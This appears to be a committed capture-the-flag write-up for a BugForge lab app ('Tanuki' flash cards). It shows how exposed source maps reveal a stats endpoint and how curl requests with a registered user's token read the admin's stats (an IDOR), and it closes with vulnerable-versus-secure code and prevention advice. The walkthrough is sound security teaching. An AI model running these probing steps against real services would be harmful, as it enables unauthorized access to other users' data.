|
| 1 | +--- |
| 2 | +title: Tanuki - Stats IDOR |
| 3 | +tags: |
| 4 | + - bugforge |
| 5 | + - idor |
| 6 | + - broken-access-control |
| 7 | + - source-maps |
| 8 | +--- |
| 9 | + |
| 10 | +- Hint said "WebSockets are fun" but the actual vuln was a stats IDOR -- the hint was wrong for this instance |
| 11 | +- Socket.io was bundled in the client JS as dead code (no component uses it, no server endpoint exists) |
| 12 | +- Flag was in `GET /api/stats/1` -- one request after reading source maps |
| 13 | + |
| 14 | +## Step 1 -- Open the Lab |
| 15 | + |
| 16 | +- Navigate to the BugForge lab URL (Tanuki -- SRS Flash Cards app) |
| 17 | +- Note the base URL, e.g. `https://lab-XXXX.labs-app.bugforge.io` |
| 18 | + |
| 19 | +## Step 2 -- Source Maps |
| 20 | + |
| 21 | +- Open browser DevTools -> Sources, or fetch the JS bundle directly |
| 22 | +- The app ships with source maps exposed at `/static/js/main.XXXXX.js.map` |
| 23 | + |
| 24 | +```bash |
| 25 | +# Grab the main page to find the JS bundle filename |
| 26 | +curl -sk https://TARGET/ | grep -oP 'src="/static/js/[^"]+' |
| 27 | +# Output: src="/static/js/main.3b4ae99e.js" |
| 28 | + |
| 29 | +# Fetch the source map |
| 30 | +curl -sk https://TARGET/static/js/main.3b4ae99e.js.map -o sourcemap.json |
| 31 | +``` |
| 32 | + |
| 33 | +- The source map contains the original React component source code |
| 34 | +- The key file is `UserStats.js` which contains this line: |
| 35 | + |
| 36 | +```javascript |
| 37 | +const response = await axios.get(`/api/stats/${user.id}`); |
| 38 | +``` |
| 39 | + |
| 40 | +- This tells us the stats endpoint takes a user ID in the URL path -- classic IDOR pattern |
| 41 | + |
| 42 | +## Step 3 -- Register a User |
| 43 | + |
| 44 | +```bash |
| 45 | +curl -sk https://TARGET/api/register -H "Content-Type: application/json" -d '{"username":"testuser1","email":"test1@test.com","password":"Password123","full_name":"Test User"}' |
| 46 | +``` |
| 47 | + |
| 48 | +Response: |
| 49 | + |
| 50 | +```json |
| 51 | +{ |
| 52 | + "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0ZXN0dXNlcjEiLCJpYXQiOjE3NzQ5NDUzNTZ9.BgEFmvj962SBT98meVZOFeMzo8515uz4UrbD1ryvwMc", |
| 53 | + "user": {"id": 4, "username": "testuser1", "email": "test1@test.com", "full_name": "Test User"} |
| 54 | +} |
| 55 | +``` |
| 56 | + |
| 57 | +- Save the `token` value -- you'll need it for the next step |
| 58 | +- Your user ID is `4` (first 3 are pre-seeded: likely admin + 2 default users) |
| 59 | + |
| 60 | +## Step 4 -- IDOR on Stats (The Flag) |
| 61 | + |
| 62 | +Use your token to request user 1's stats: |
| 63 | + |
| 64 | +```bash |
| 65 | +curl -sk https://TARGET/api/stats/1 -H "Authorization: Bearer YOUR_TOKEN_HERE" |
| 66 | +``` |
| 67 | + |
| 68 | +Response: |
| 69 | + |
| 70 | +```json |
| 71 | +{ |
| 72 | + "total_cards_studied": 0, |
| 73 | + "cards_mastered": 0, |
| 74 | + "total_reviews": null, |
| 75 | + "sessions_this_week": 0, |
| 76 | + "cards_studied_this_week": 0, |
| 77 | + "achievement_flag": "bug{XXXXX...}" |
| 78 | +} |
| 79 | +``` |
| 80 | + |
| 81 | +- User 1 (the admin/seed account) has an `achievement_flag` field in their stats |
| 82 | +- This field doesn't appear for regular users |
| 83 | +- The server doesn't check that the ID in the URL belongs to the authenticated user |
| 84 | + |
| 85 | +For comparison, your own stats (`/api/stats/4`) return the same structure but without the flag field. |
| 86 | + |
| 87 | +## Step 5 -- Submit the Flag |
| 88 | + |
| 89 | +Copy the `achievement_flag` value and submit it. |
| 90 | + |
| 91 | +## Alternative: Burp Suite |
| 92 | + |
| 93 | +If you're using Burp: |
| 94 | + |
| 95 | +1. Register through the browser (Burp captures the JWT in the response) |
| 96 | +2. In Repeater, send: `GET /api/stats/1` with `Authorization: Bearer <your-token>` |
| 97 | +3. Flag is in the response body |
| 98 | + |
| 99 | +## What the Hint Was About |
| 100 | + |
| 101 | +- The lab hint said "WebSockets are fun" |
| 102 | +- Socket.io client library (`engine.io-client`, `socket.io-parser`) is bundled in the JS |
| 103 | +- No React component imports or uses socket.io -- it's dead code |
| 104 | +- No socket.io server endpoint exists (all paths return SPA catch-all HTML) |
| 105 | +- The hint was misleading for this particular challenge variant |
| 106 | + |
| 107 | +## Other Tests (Not Required for Flag) |
| 108 | + |
| 109 | +| Test | Result | |
| 110 | +|------|--------| |
| 111 | +| Mass assignment (`role: admin` on register) | 200 but no admin privileges | |
| 112 | +| Admin endpoints (`/api/admin/users`) as regular user | 403 "Admin access required" | |
| 113 | +| JWT: HS256, no expiry, no role claim | No quick-win (none alg not needed) | |
| 114 | + |
| 115 | +## Security Takeaways |
| 116 | + |
| 117 | +### Vulnerability |
| 118 | + |
| 119 | +- IDOR on `GET /api/stats/:id` |
| 120 | +- CWE-639 -- Authorization Bypass Through User-Controlled Key |
| 121 | +- OWASP A01:2021 -- Broken Access Control |
| 122 | + |
| 123 | +### Root Cause |
| 124 | + |
| 125 | +The stats endpoint uses the user ID from the URL path to query the database. It verifies the JWT is valid (authentication) but never checks that the requested ID matches the authenticated user (authorization). |
| 126 | + |
| 127 | +```javascript |
| 128 | +// VULNERABLE |
| 129 | +app.get('/api/stats/:id', authMiddleware, (req, res) => { |
| 130 | + const stats = getStats(req.params.id); // trusts URL param |
| 131 | + res.json(stats); |
| 132 | +}); |
| 133 | + |
| 134 | +// SECURE |
| 135 | +app.get('/api/stats/me', authMiddleware, (req, res) => { |
| 136 | + const stats = getStats(req.user.id); // uses JWT identity |
| 137 | + res.json(stats); |
| 138 | +}); |
| 139 | +``` |
| 140 | + |
| 141 | +### Prevention |
| 142 | + |
| 143 | +- Use the authenticated user's ID from the JWT, not from URL parameters |
| 144 | +- If you must use URL params (e.g. admin viewing other users), add an ownership/role check |
| 145 | +- Prefer `/api/stats/me` pattern over `/api/stats/:id` |
0 commit comments